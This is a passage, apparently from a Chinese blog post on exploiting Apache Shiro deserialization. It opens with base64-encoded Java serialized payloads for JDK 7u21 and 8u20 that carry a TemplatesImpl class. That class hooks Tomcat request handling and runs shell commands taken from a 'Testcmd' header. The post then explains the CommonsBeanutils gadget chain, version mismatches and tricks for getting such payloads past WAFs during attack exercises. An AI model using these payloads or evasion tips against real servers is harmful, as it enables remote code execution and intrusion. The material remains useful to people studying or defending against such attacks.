2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==",
"Jdk7u21":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb292NGhBMnZ1U1MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb3Y0aEEydnVTUy5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnB0AANhYmNzcgAUamF2YS51dGlsLlByb3BlcnRpZXM5EtB6cDY+mAIAAUwACGRlZmF1bHRzcQB+AAh4cgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAl4dnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHg=",
"Jdk8u20":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAFSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtWwAKX2J5dGVjb2Rlc3QAA1tbQkwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAB/////wF1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29veTZhOTVuNkYHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb295NmE5NW42Ri5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnQAA2FiY3cBAHhzcgApamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dFN1cHBvcnS8SCDwkY+5DAMAAUkADHNlcmlhbGl6YWJsZXhyAC5qYXZhLmJlYW5zLmJlYW5jb250ZXh0LkJlYW5Db250ZXh0Q2hpbGRTdXBwb3J0V9TvxwTcciUDAAFMABRiZWFuQ29udGV4dENoaWxkUGVlcnQAKUxqYXZhL2JlYW5zL2JlYW5jb250ZXh0L0JlYW5Db250ZXh0Q2hpbGQ7eHBxAH4ADngAAAABc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUDAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ABXh2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAMAAHhwdwQAAAAAeHhwdwwAAAAQP0AAAAAAAAJxAH4ABXN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBxAH4AEng="}

具体细节可以参考:https://cloud.tencent.com/developer/article/1848169

测试如下:

image-20220927160342383

最开始的时候,利用一键利用工具发现可以命令执行(当时是没有引入cc依赖的),但是利用链上是显示利用的Commons Beanutils链,那么下面就分析下这个Commons Beanutils链为什么可以利用成功,前面有截图说明了Shiro是自带Apache Commons Beanutils这个包的,那么能触发反序列化,就离不开这个包的一些功能特性:

Commons Beanutils是应用于JavaBean的工具

Commons Beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBeangetter方法。

比如一个类User是个JavaBean,它有个name属性,则PropertyUtils.getProperty(new Usesr(),"name")则会调用它的getName()方法。

在构造cc链中有遇过TemplateImpl类,它有一个getOutputProperties方法可以触发字节码加载,如果我们可以通过反序列化的点直接或间接让其调用PropertyUtils.getProperty(new TemplateImpl(),"OutputProperties"),那就可以RCE。

commons-beanutils-1.7.0.jar!\org\apache\commons\beanutils\BeanComparator.class中存在一个compare方法,这个compare方法可以自动调用PropertyUtils.getProperty方法,看到compare方法是不是感觉在cc链中碰到过,因此这里可以拼接上cc2链的前半段使其走到compare方法,触发RCE

image-20220927163911565

整个调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")

还是在前面的漏洞利用工具上,利用链显示的是CommonsBeanutils183,这里的183表示的是cb的版本号,如果碰到cb链反序列化失败的情况,那就有可能是工具中的cb的版本和漏洞环境的不一致,导致的反序列化失败,失败的原因可能是 serialVersionUID的问题,可以参考:https://blog.csdn.net/whq12789/article/details/88031965

image-20220927165337284

在打hvv期间,碰到很多存在shiro的站,但是上工具探测密钥和利用链的时候可能回碰到被WAF拦截的情况,那这个时候我们有没有可以绕过的办法呢,可以参考如下几点:

  • 修改请求方式,如修改GET/POST,使用未知HTTP请求绕过,如AAA
  • 在payload中添加特殊字符,比如空格,tab,^,………..,%%%%
  • 将请求方式和rememberMe修改为其他字符串

